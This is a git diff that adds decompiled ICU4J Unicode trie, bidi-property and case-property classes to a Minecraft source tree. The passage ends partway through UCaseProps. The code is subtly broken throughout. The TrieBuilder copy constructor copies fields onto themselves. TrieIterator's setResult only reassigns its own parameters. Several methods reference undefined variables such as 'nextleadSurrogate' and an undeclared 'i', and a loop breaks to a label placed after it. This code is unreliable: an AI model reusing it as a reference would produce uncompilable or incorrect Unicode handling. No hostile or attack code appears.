index 0000000..a355ba0
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Trie2_16.java
@@ -0,0 +1,255 @@
+package com.ibm.icu.impl;
+
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Trie2_16
+  extends Trie2
+{
+  Trie2_16() {}
+  
+  public static Trie2_16 createFromSerialized(InputStream is)
+    throws IOException
+  {
+    return (Trie2_16)Trie2.createFromSerialized(is);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final int get(int codePoint)
+  {
+    if (codePoint >= 0) {
+      if ((codePoint < 55296) || ((codePoint > 56319) && (codePoint <= 65535)))
+      {
+
+
+        int ix = index[(codePoint >> 5)];
+        ix = (ix << 2) + (codePoint & 0x1F);
+        int value = index[ix];
+        return value;
+      }
+      if (codePoint <= 65535)
+      {
+
+
+
+
+
+        int ix = index[(2048 + (codePoint - 55296 >> 5))];
+        ix = (ix << 2) + (codePoint & 0x1F);
+        int value = index[ix];
+        return value;
+      }
+      if (codePoint < highStart)
+      {
+        int ix = 2080 + (codePoint >> 11);
+        ix = index[ix];
+        ix += (codePoint >> 5 & 0x3F);
+        ix = index[ix];
+        ix = (ix << 2) + (codePoint & 0x1F);
+        int value = index[ix];
+        return value;
+      }
+      if (codePoint <= 1114111) {
+        int value = index[highValueIndex];
+        return value;
+      }
+    }
+    
+
+    return errorValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getFromU16SingleLead(char codeUnit)
+  {
+    int ix = index[(codeUnit >> '\005')];
+    ix = (ix << 2) + (codeUnit & 0x1F);
+    int value = index[ix];
+    return value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int serialize(OutputStream os)
+    throws IOException
+  {
+    DataOutputStream dos = new DataOutputStream(os);
+    int bytesWritten = 0;
+    
+    bytesWritten += serializeHeader(dos);
+    for (int i = 0; i < dataLength; i++) {
+      dos.writeChar(index[(data16 + i)]);
+    }
+    bytesWritten += dataLength * 2;
+    return bytesWritten;
+  }
+  
+
+
+  public int getSerializedLength()
+  {
+    return 16 + (header.indexLength + dataLength) * 2;
+  }
+  
+
+
+
+
+
+
+
+
+
+  int rangeEnd(int startingCP, int limit, int value)
+  {
+    int cp = startingCP;
+    int block = 0;
+    int index2Block = 0;
+    
+
+
+
+
+
+
+
+    while (cp < limit)
+    {
+
+      if ((cp < 55296) || ((cp > 56319) && (cp <= 65535)))
+      {
+
+
+        index2Block = 0;
+        block = index[(cp >> 5)] << '\002';
+      } else if (cp < 65535)
+      {
+        index2Block = 2048;
+        block = index[(index2Block + (cp - 55296 >> 5))] << '\002';
+      } else if (cp < highStart)
+      {
+        int ix = 2080 + (cp >> 11);
+        index2Block = index[ix];
+        block = index[(index2Block + (cp >> 5 & 0x3F))] << '\002';
+      }
+      else {
+        if (value != index[highValueIndex]) break;
+        cp = limit; break;
+      }
+      
+
+
+      if (index2Block == index2NullOffset) {
+        if (value != initialValue) {
+          break;
+        }
+        cp += 2048;
+      } else if (block == dataNullOffset)
+      {
+
+
+
+        if (value != initialValue) {
+          break;
+        }
+        cp += 32;
+      }
+      else
+      {
+        int startIx = block + (cp & 0x1F);
+        int limitIx = block + 32;
+        for (int ix = startIx; ix < limitIx; ix++) {
+          if (index[ix] != value)
+          {
+
+            cp += ix - startIx;
+            
+            break label288;
+          }
+        }
+        
+        cp += limitIx - startIx;
+      } }
+    label288:
+    if (cp > limit) {
+      cp = limit;
+    }
+    
+    return cp - 1;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Trie2_32.java b/src/minecraft/com/ibm/icu/impl/Trie2_32.java
new file mode 100644
index 0000000..d82e4c4
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Trie2_32.java
@@ -0,0 +1,252 @@
+package com.ibm.icu.impl;
+
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Trie2_32
+  extends Trie2
+{
+  Trie2_32() {}
+  
+  public static Trie2_32 createFromSerialized(InputStream is)
+    throws IOException
+  {
+    return (Trie2_32)Trie2.createFromSerialized(is);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final int get(int codePoint)
+  {
+    if (codePoint >= 0) {
+      if ((codePoint < 55296) || ((codePoint > 56319) && (codePoint <= 65535)))
+      {
+
+
+        int ix = index[(codePoint >> 5)];
+        ix = (ix << 2) + (codePoint & 0x1F);
+        int value = data32[ix];
+        return value;
+      }
+      if (codePoint <= 65535)
+      {
+
+
+
+
+
+        int ix = index[(2048 + (codePoint - 55296 >> 5))];
+        ix = (ix << 2) + (codePoint & 0x1F);
+        int value = data32[ix];
+        return value;
+      }
+      if (codePoint < highStart)
+      {
+        int ix = 2080 + (codePoint >> 11);
+        ix = index[ix];
+        ix += (codePoint >> 5 & 0x3F);
+        ix = index[ix];
+        ix = (ix << 2) + (codePoint & 0x1F);
+        int value = data32[ix];
+        return value;
+      }
+      if (codePoint <= 1114111) {
+        int value = data32[highValueIndex];
+        return value;
+      }
+    }
+    
+
+    return errorValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getFromU16SingleLead(char codeUnit)
+  {
+    int ix = index[(codeUnit >> '\005')];
+    ix = (ix << 2) + (codeUnit & 0x1F);
+    int value = data32[ix];
+    return value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int serialize(OutputStream os)
+    throws IOException
+  {
+    DataOutputStream dos = new DataOutputStream(os);
+    int bytesWritten = 0;
+    
+    bytesWritten += serializeHeader(dos);
+    for (int i = 0; i < dataLength; i++) {
+      dos.writeInt(data32[i]);
+    }
+    bytesWritten += dataLength * 4;
+    return bytesWritten;
+  }
+  
+
+
+  public int getSerializedLength()
+  {
+    return 16 + header.indexLength * 2 + dataLength * 4;
+  }
+  
+
+
+
+
+
+
+
+
+
+  int rangeEnd(int startingCP, int limit, int value)
+  {
+    int cp = startingCP;
+    int block = 0;
+    int index2Block = 0;
+    
+
+
+
+
+
+
+
+    while (cp < limit)
+    {
+
+      if ((cp < 55296) || ((cp > 56319) && (cp <= 65535)))
+      {
+
+
+        index2Block = 0;
+        block = index[(cp >> 5)] << '\002';
+      } else if (cp < 65535)
+      {
+        index2Block = 2048;
+        block = index[(index2Block + (cp - 55296 >> 5))] << '\002';
+      } else if (cp < highStart)
+      {
+        int ix = 2080 + (cp >> 11);
+        index2Block = index[ix];
+        block = index[(index2Block + (cp >> 5 & 0x3F))] << '\002';
+      }
+      else {
+        if (value != data32[highValueIndex]) break;
+        cp = limit; break;
+      }
+      
+
+
+      if (index2Block == index2NullOffset) {
+        if (value != initialValue) {
+          break;
+        }
+        cp += 2048;
+      } else if (block == dataNullOffset)
+      {
+
+
+
+        if (value != initialValue) {
+          break;
+        }
+        cp += 32;
+      }
+      else
+      {
+        int startIx = block + (cp & 0x1F);
+        int limitIx = block + 32;
+        for (int ix = startIx; ix < limitIx; ix++) {
+          if (data32[ix] != value)
+          {
+
+            cp += ix - startIx;
+            
+            break label288;
+          }
+        }
+        
+        cp += limitIx - startIx;
+      } }
+    label288:
+    if (cp > limit) {
+      cp = limit;
+    }
+    
+    return cp - 1;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/TrieBuilder.java b/src/minecraft/com/ibm/icu/impl/TrieBuilder.java
new file mode 100644
index 0000000..8d8c9c3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/TrieBuilder.java
@@ -0,0 +1,255 @@
+package com.ibm.icu.impl;
+
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TrieBuilder
+{
+  public static final int DATA_BLOCK_LENGTH = 32;
+  protected int[] m_index_;
+  protected int m_indexLength_;
+  protected int m_dataCapacity_;
+  protected int m_dataLength_;
+  protected boolean m_isLatin1Linear_;
+  protected boolean m_isCompacted_;
+  protected int[] m_map_;
+  protected static final int SHIFT_ = 5;
+  protected static final int MAX_INDEX_LENGTH_ = 34816;
+  protected static final int BMP_INDEX_LENGTH_ = 2048;
+  protected static final int SURROGATE_BLOCK_COUNT_ = 32;
+  protected static final int MASK_ = 31;
+  protected static final int INDEX_SHIFT_ = 2;
+  protected static final int MAX_DATA_LENGTH_ = 262144;
+  protected static final int OPTIONS_INDEX_SHIFT_ = 4;
+  protected static final int OPTIONS_DATA_IS_32_BIT_ = 256;
+  protected static final int OPTIONS_LATIN1_IS_LINEAR_ = 512;
+  protected static final int DATA_GRANULARITY_ = 4;
+  private static final int MAX_BUILD_TIME_DATA_LENGTH_ = 1115168;
+  
+  public boolean isInZeroBlock(int ch)
+  {
+    if ((m_isCompacted_) || (ch > 1114111) || (ch < 0))
+    {
+      return true;
+    }
+    
+    return m_index_[(ch >> 5)] == 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected TrieBuilder()
+  {
+    m_index_ = new int[34816];
+    m_map_ = new int[34849];
+    m_isLatin1Linear_ = false;
+    m_isCompacted_ = false;
+    m_indexLength_ = 34816;
+  }
+  
+  protected TrieBuilder(TrieBuilder table)
+  {
+    m_index_ = new int[34816];
+    m_indexLength_ = m_indexLength_;
+    System.arraycopy(m_index_, 0, m_index_, 0, m_indexLength_);
+    m_dataCapacity_ = m_dataCapacity_;
+    m_dataLength_ = m_dataLength_;
+    m_map_ = new int[m_map_.length];
+    System.arraycopy(m_map_, 0, m_map_, 0, m_map_.length);
+    m_isLatin1Linear_ = m_isLatin1Linear_;
+    m_isCompacted_ = m_isCompacted_;
+  }
+  
+
+
+
+
+  protected static final boolean equal_int(int[] array, int start1, int start2, int length)
+  {
+    while ((length > 0) && (array[start1] == array[start2])) {
+      start1++;
+      start2++;
+      length--;
+    }
+    return length == 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected void findUnusedBlocks()
+  {
+    Arrays.fill(m_map_, 255);
+    
+
+    for (int i = 0; i < m_indexLength_; i++) {
+      m_map_[(Math.abs(m_index_[i]) >> 5)] = 0;
+    }
+    
+
+    m_map_[0] = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  protected static final int findSameIndexBlock(int[] index, int indexLength, int otherBlock)
+  {
+    for (int block = 2048; block < indexLength; 
+        block += 32) {
+      if (equal_int(index, block, otherBlock, 32)) {
+        return block;
+      }
+    }
+    return indexLength;
+  }
+  
+  public static abstract interface DataManipulate
+  {
+    public abstract int getFoldedValue(int paramInt1, int paramInt2);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/TrieIterator.java b/src/minecraft/com/ibm/icu/impl/TrieIterator.java
new file mode 100644
index 0000000..37413d8
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/TrieIterator.java
@@ -0,0 +1,469 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import com.ibm.icu.util.RangeValueIterator;
+import com.ibm.icu.util.RangeValueIterator.Element;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TrieIterator
+  implements RangeValueIterator
+{
+  private static final int BMP_INDEX_LENGTH_ = 2048;
+  private static final int LEAD_SURROGATE_MIN_VALUE_ = 55296;
+  private static final int TRAIL_SURROGATE_MIN_VALUE_ = 56320;
+  private static final int TRAIL_SURROGATE_COUNT_ = 1024;
+  private static final int TRAIL_SURROGATE_INDEX_BLOCK_LENGTH_ = 32;
+  private static final int DATA_BLOCK_LENGTH_ = 32;
+  private Trie m_trie_;
+  private int m_initialValue_;
+  private int m_currentCodepoint_;
+  private int m_nextCodepoint_;
+  private int m_nextValue_;
+  private int m_nextIndex_;
+  private int m_nextBlock_;
+  private int m_nextBlockIndex_;
+  private int m_nextTrailIndexOffset_;
+  
+  public TrieIterator(Trie trie)
+  {
+    if (trie == null) {
+      throw new IllegalArgumentException("Argument trie cannot be null");
+    }
+    
+    m_trie_ = trie;
+    
+    m_initialValue_ = extract(m_trie_.getInitialValue());
+    reset();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public final boolean next(RangeValueIterator.Element element)
+  {
+    if (m_nextCodepoint_ > 1114111) {
+      return false;
+    }
+    if ((m_nextCodepoint_ < 65536) && (calculateNextBMPElement(element)))
+    {
+      return true;
+    }
+    calculateNextSupplementaryElement(element);
+    return true;
+  }
+  
+
+
+
+  public final void reset()
+  {
+    m_currentCodepoint_ = 0;
+    m_nextCodepoint_ = 0;
+    m_nextIndex_ = 0;
+    m_nextBlock_ = (m_trie_.m_index_[0] << '\002');
+    if (m_nextBlock_ == m_trie_.m_dataOffset_) {
+      m_nextValue_ = m_initialValue_;
+    }
+    else {
+      m_nextValue_ = extract(m_trie_.getValue(m_nextBlock_));
+    }
+    m_nextBlockIndex_ = 0;
+    m_nextTrailIndexOffset_ = 32;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected int extract(int value)
+  {
+    return value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private final void setResult(RangeValueIterator.Element element, int start, int limit, int value)
+  {
+    start = start;
+    limit = limit;
+    value = value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private final boolean calculateNextBMPElement(RangeValueIterator.Element element)
+  {
+    int currentValue = m_nextValue_;
+    m_currentCodepoint_ = m_nextCodepoint_;
+    m_nextCodepoint_ += 1;
+    m_nextBlockIndex_ += 1;
+    if (!checkBlockDetail(currentValue)) {
+      setResult(element, m_currentCodepoint_, m_nextCodepoint_, currentValue);
+      
+      return true;
+    }
+    
+
+    while (m_nextCodepoint_ < 65536)
+    {
+
+
+      if (m_nextCodepoint_ == 55296)
+      {
+
+        m_nextIndex_ = 2048;
+      }
+      else if (m_nextCodepoint_ == 56320)
+      {
+        m_nextIndex_ = (m_nextCodepoint_ >> 5);
+      } else {
+        m_nextIndex_ += 1;
+      }
+      
+      m_nextBlockIndex_ = 0;
+      if (!checkBlock(currentValue)) {
+        setResult(element, m_currentCodepoint_, m_nextCodepoint_, currentValue);
+        
+        return true;
+      }
+    }
+    m_nextCodepoint_ -= 1;
+    m_nextBlockIndex_ -= 1;
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final void calculateNextSupplementaryElement(RangeValueIterator.Element element)
+  {
+    int currentValue = m_nextValue_;
+    m_nextCodepoint_ += 1;
+    m_nextBlockIndex_ += 1;
+    
+    if (UTF16.getTrailSurrogate(m_nextCodepoint_) != 56320)
+    {
+
+
+      if ((!checkNullNextTrailIndex()) && (!checkBlockDetail(currentValue))) {
+        setResult(element, m_currentCodepoint_, m_nextCodepoint_, currentValue);
+        
+        m_currentCodepoint_ = m_nextCodepoint_;
+        return;
+      }
+      
+      m_nextIndex_ += 1;
+      m_nextTrailIndexOffset_ += 1;
+      if (!checkTrailBlock(currentValue)) {
+        setResult(element, m_currentCodepoint_, m_nextCodepoint_, currentValue);
+        
+        m_currentCodepoint_ = m_nextCodepoint_;
+        return;
+      }
+    }
+    int nextLead = UTF16.getLeadSurrogate(m_nextCodepoint_);
+    
+    while (nextLead < 56320)
+    {
+      int leadBlock = m_trie_.m_index_[(nextLead >> 5)] << '\002';
+      
+
+      if (leadBlock == m_trie_.m_dataOffset_)
+      {
+        if (currentValue != m_initialValue_) {
+          m_nextValue_ = m_initialValue_;
+          m_nextBlock_ = leadBlock;
+          m_nextBlockIndex_ = 0;
+          setResult(element, m_currentCodepoint_, m_nextCodepoint_, currentValue);
+          
+          m_currentCodepoint_ = m_nextCodepoint_;
+          return;
+        }
+        
+        nextLead += 32;
+        
+
+
+
+
+        m_nextCodepoint_ = UCharacterProperty.getRawSupplementary((char)nextLead, 56320);
+
+      }
+      else
+      {
+        if (m_trie_.m_dataManipulate_ == null) {
+          throw new NullPointerException("The field DataManipulate in this Trie is null");
+        }
+        
+
+        m_nextIndex_ = m_trie_.m_dataManipulate_.getFoldingOffset(m_trie_.getValue(leadBlock + (nextLead & 0x1F)));
+        
+
+        if (m_nextIndex_ <= 0)
+        {
+          if (currentValue != m_initialValue_) {
+            m_nextValue_ = m_initialValue_;
+            m_nextBlock_ = m_trie_.m_dataOffset_;
+            m_nextBlockIndex_ = 0;
+            setResult(element, m_currentCodepoint_, m_nextCodepoint_, currentValue);
+            
+            m_currentCodepoint_ = m_nextCodepoint_;
+            return;
+          }
+          m_nextCodepoint_ += 1024;
+        } else {
+          m_nextTrailIndexOffset_ = 0;
+          if (!checkTrailBlock(currentValue)) {
+            setResult(element, m_currentCodepoint_, m_nextCodepoint_, currentValue);
+            
+            m_currentCodepoint_ = m_nextCodepoint_;
+            return;
+          }
+        }
+        nextLead++;
+      }
+    }
+    
+    setResult(element, m_currentCodepoint_, 1114112, currentValue);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final boolean checkBlockDetail(int currentValue)
+  {
+    while (m_nextBlockIndex_ < 32) {
+      m_nextValue_ = extract(m_trie_.getValue(m_nextBlock_ + m_nextBlockIndex_));
+      
+      if (m_nextValue_ != currentValue) {
+        return false;
+      }
+      m_nextBlockIndex_ += 1;
+      m_nextCodepoint_ += 1;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private final boolean checkBlock(int currentValue)
+  {
+    int currentBlock = m_nextBlock_;
+    m_nextBlock_ = (m_trie_.m_index_[m_nextIndex_] << '\002');
+    
+    if ((m_nextBlock_ == currentBlock) && (m_nextCodepoint_ - m_currentCodepoint_ >= 32))
+    {
+
+
+      m_nextCodepoint_ += 32;
+    }
+    else if (m_nextBlock_ == m_trie_.m_dataOffset_)
+    {
+      if (currentValue != m_initialValue_) {
+        m_nextValue_ = m_initialValue_;
+        m_nextBlockIndex_ = 0;
+        return false;
+      }
+      m_nextCodepoint_ += 32;
+
+    }
+    else if (!checkBlockDetail(currentValue)) {
+      return false;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private final boolean checkTrailBlock(int currentValue)
+  {
+    while (m_nextTrailIndexOffset_ < 32)
+    {
+
+      m_nextBlockIndex_ = 0;
+      
+      if (!checkBlock(currentValue)) {
+        return false;
+      }
+      m_nextTrailIndexOffset_ += 1;
+      m_nextIndex_ += 1;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private final boolean checkNullNextTrailIndex()
+  {
+    if (m_nextIndex_ <= 0) {
+      m_nextCodepoint_ += 1023;
+      int nextLead = UTF16.getLeadSurrogate(m_nextCodepoint_);
+      int leadBlock = m_trie_.m_index_[(nextLead >> 5)] << '\002';
+      
+
+      if (m_trie_.m_dataManipulate_ == null) {
+        throw new NullPointerException("The field DataManipulate in this Trie is null");
+      }
+      
+      m_nextIndex_ = m_trie_.m_dataManipulate_.getFoldingOffset(m_trie_.getValue(leadBlock + (nextLead & 0x1F)));
+      
+
+      m_nextIndex_ -= 1;
+      m_nextBlockIndex_ = 32;
+      return true;
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UBiDiProps.java b/src/minecraft/com/ibm/icu/impl/UBiDiProps.java
new file mode 100644
index 0000000..d8b48bb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UBiDiProps.java
@@ -0,0 +1,311 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UnicodeSet;
+import java.io.BufferedInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UBiDiProps
+{
+  private int[] indexes;
+  private int[] mirrors;
+  private byte[] jgArray;
+  private Trie2_16 trie;
+  private static final String DATA_NAME = "ubidi";
+  private static final String DATA_TYPE = "icu";
+  private static final String DATA_FILE_NAME = "ubidi.icu";
+  
+  private UBiDiProps()
+    throws IOException
+  {
+    InputStream is = ICUData.getStream("data/icudt51b/ubidi.icu");
+    BufferedInputStream b = new BufferedInputStream(is, 4096);
+    readData(b);
+    b.close();
+    is.close();
+  }
+  
+  private void readData(InputStream is) throws IOException {
+    DataInputStream inputStream = new DataInputStream(is);
+    
+
+    ICUBinary.readHeader(inputStream, FMT, new IsAcceptable(null));
+    
+
+
+    int count = inputStream.readInt();
+    if (count < 16) {
+      throw new IOException("indexes[0] too small in ubidi.icu");
+    }
+    indexes = new int[count];
+    
+    indexes[0] = count;
+    for (int i = 1; i < count; i++) {
+      indexes[i] = inputStream.readInt();
+    }
+    
+
+    trie = Trie2_16.createFromSerialized(inputStream);
+    int expectedTrieLength = indexes[2];
+    int trieLength = trie.getSerializedLength();
+    if (trieLength > expectedTrieLength) {
+      throw new IOException("ubidi.icu: not enough bytes for the trie");
+    }
+    
+    inputStream.skipBytes(expectedTrieLength - trieLength);
+    
+
+    count = indexes[3];
+    if (count > 0) {
+      mirrors = new int[count];
+      for (i = 0; i < count; i++) {
+        mirrors[i] = inputStream.readInt();
+      }
+    }
+    
+
+    count = indexes[5] - indexes[4];
+    jgArray = new byte[count];
+    for (i = 0; i < count; i++)
+      jgArray[i] = inputStream.readByte();
+  }
+  
+  private static final class IsAcceptable implements ICUBinary.Authenticate {
+    private IsAcceptable() {}
+    
+    public boolean isDataVersionAcceptable(byte[] version) {
+      return version[0] == 2;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void addPropertyStarts(UnicodeSet set)
+  {
+    Iterator<Trie2.Range> trieIterator = trie.iterator();
+    Trie2.Range range;
+    while ((trieIterator.hasNext()) && (!nextleadSurrogate)) {
+      set.add(startCodePoint);
+    }
+    
+
+    int length = indexes[3];
+    for (int i = 0; i < length; i++) {
+      int c = getMirrorCodePoint(mirrors[i]);
+      set.add(c, c + 1);
+    }
+    
+
+    int start = indexes[4];
+    int limit = indexes[5];
+    length = limit - start;
+    byte prev = 0;
+    for (i = 0; i < length; i++) {
+      byte jg = jgArray[i];
+      if (jg != prev) {
+        set.add(start);
+        prev = jg;
+      }
+      start++;
+    }
+    if (prev != 0)
+    {
+      set.add(limit);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final int getMaxValue(int which)
+  {
+    int max = indexes[15];
+    switch (which) {
+    case 4096: 
+      return max & 0x1F;
+    case 4102: 
+      return (max & 0xFF0000) >> 16;
+    case 4103: 
+      return (max & 0xE0) >> 5;
+    }
+    return -1;
+  }
+  
+  public final int getClass(int c)
+  {
+    return getClassFromProps(trie.get(c));
+  }
+  
+  public final boolean isMirrored(int c) {
+    return getFlagFromProps(trie.get(c), 12);
+  }
+  
+
+
+  public final int getMirror(int c)
+  {
+    int props = trie.get(c);
+    int delta = (short)props >> 13;
+    if (delta != -4) {
+      return c + delta;
+    }
+    
+
+
+
+
+    int length = indexes[3];
+    
+
+    for (int i = 0; i < length; i++) {
+      int m = mirrors[i];
+      int c2 = getMirrorCodePoint(m);
+      if (c == c2)
+      {
+        return getMirrorCodePoint(mirrors[getMirrorIndex(m)]); }
+      if (c < c2) {
+        break;
+      }
+    }
+    
+
+    return c;
+  }
+  
+  public final boolean isBidiControl(int c)
+  {
+    return getFlagFromProps(trie.get(c), 11);
+  }
+  
+  public final boolean isJoinControl(int c) {
+    return getFlagFromProps(trie.get(c), 10);
+  }
+  
+  public final int getJoiningType(int c) {
+    return (trie.get(c) & 0xE0) >> 5;
+  }
+  
+
+  public final int getJoiningGroup(int c)
+  {
+    int start = indexes[4];
+    int limit = indexes[5];
+    if ((start <= c) && (c < limit)) {
+      return jgArray[(c - start)] & 0xFF;
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final byte[] FMT = { 66, 105, 68, 105 };
+  
+  private static final int IX_TRIE_SIZE = 2;
+  
+  private static final int IX_MIRROR_LENGTH = 3;
+  
+  private static final int IX_JG_START = 4;
+  
+  private static final int IX_JG_LIMIT = 5;
+  
+  private static final int IX_MAX_VALUES = 15;
+  
+  private static final int IX_TOP = 16;
+  
+  private static final int JT_SHIFT = 5;
+  
+  private static final int JOIN_CONTROL_SHIFT = 10;
+  
+  private static final int BIDI_CONTROL_SHIFT = 11;
+  
+  private static final int IS_MIRRORED_SHIFT = 12;
+  
+  private static final int MIRROR_DELTA_SHIFT = 13;
+  
+  private static final int MAX_JG_SHIFT = 16;
+  
+  private static final int CLASS_MASK = 31;
+  private static final int JT_MASK = 224;
+  private static final int MAX_JG_MASK = 16711680;
+  private static final int ESC_MIRROR_DELTA = -4;
+  private static final int MIRROR_INDEX_SHIFT = 21;
+  public static final UBiDiProps INSTANCE;
+  
+  private static final int getClassFromProps(int props)
+  {
+    return props & 0x1F;
+  }
+  
+  private static final boolean getFlagFromProps(int props, int shift) { return (props >> shift & 0x1) != 0; }
+  
+
+
+
+
+
+
+
+
+
+
+  private static final int getMirrorCodePoint(int m)
+  {
+    return m & 0x1FFFFF;
+  }
+  
+  private static final int getMirrorIndex(int m) { return m >>> 21; }
+  
+
+
+
+
+
+
+
+  static
+  {
+    try
+    {
+      INSTANCE = new UBiDiProps();
+    } catch (IOException e) {
+      throw new RuntimeException(e);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UCaseProps.java b/src/minecraft/com/ibm/icu/impl/UCaseProps.java
new file mode 100644
index 0000000..452a9c1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UCaseProps.java
@@ -0,0 +1,1440 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import com.ibm.icu.text.UnicodeSet;
+import com.ibm.icu.util.ULocale;
+import java.io.BufferedInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UCaseProps
+{
+  private UCaseProps()
+    throws IOException
+  {
+    InputStream is = ICUData.getRequiredStream("data/icudt51b/ucase.icu");
+    BufferedInputStream b = new BufferedInputStream(is, 4096);
+    readData(b);
+    b.close();
+    is.close();
+  }
+  
+  private final void readData(InputStream is) throws IOException {
+    DataInputStream inputStream = new DataInputStream(is);
+    
+
+    ICUBinary.readHeader(inputStream, FMT, new IsAcceptable(null));
+    
+
+
+    int count = inputStream.readInt();
+    if (count < 16) {
+      throw new IOException("indexes[0] too small in ucase.icu");
+    }
+    indexes = new int[count];
+    
+    indexes[0] = count;
+    for (int i = 1; i < count; i++) {
+      indexes[i] = inputStream.readInt();
+    }
+    
+
+    trie = Trie2_16.createFromSerialized(inputStream);
+    int expectedTrieLength = indexes[2];
+    int trieLength = trie.getSerializedLength();
+    if (trieLength > expectedTrieLength) {
+      throw new IOException("ucase.icu: not enough bytes for the trie");
+    }
+    
+    inputStream.skipBytes(expectedTrieLength - trieLength);
+    
+
+    count = indexes[3];
+    if (count > 0) {
+      exceptions = new char[count];
+      for (i = 0; i < count; i++) {
+        exceptions[i] = inputStream.readChar();
+      }
+    }
+    
+
+    count = indexes[4];
+    if (count > 0) {
+      unfold = new char[count];
+      for (i = 0; i < count; i++)
+        unfold[i] = inputStream.readChar();
+    } }
+  
+  public static abstract interface ContextIterator { public abstract void reset(int paramInt);
+    
+    public abstract int next(); }
+  
+  private static final class IsAcceptable implements ICUBinary.Authenticate { private IsAcceptable() {}
+    
+    public boolean isDataVersionAcceptable(byte[] version) { return version[0] == 3; }
+  }
+  
+
+
+
+  public final void addPropertyStarts(UnicodeSet set)
+  {
+    Iterator<Trie2.Range> trieIterator = trie.iterator();
+    Trie2.Range range;
+    while ((trieIterator.hasNext()) && (!nextleadSurrogate)) {
+      set.add(startCodePoint);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static final int getExceptionsOffset(int props)
+  {
+    return props >> 5;
+  }
+  
+  private static final boolean propsHasException(int props) {
+    return (props & 0x10) != 0;
+  }
+  
+
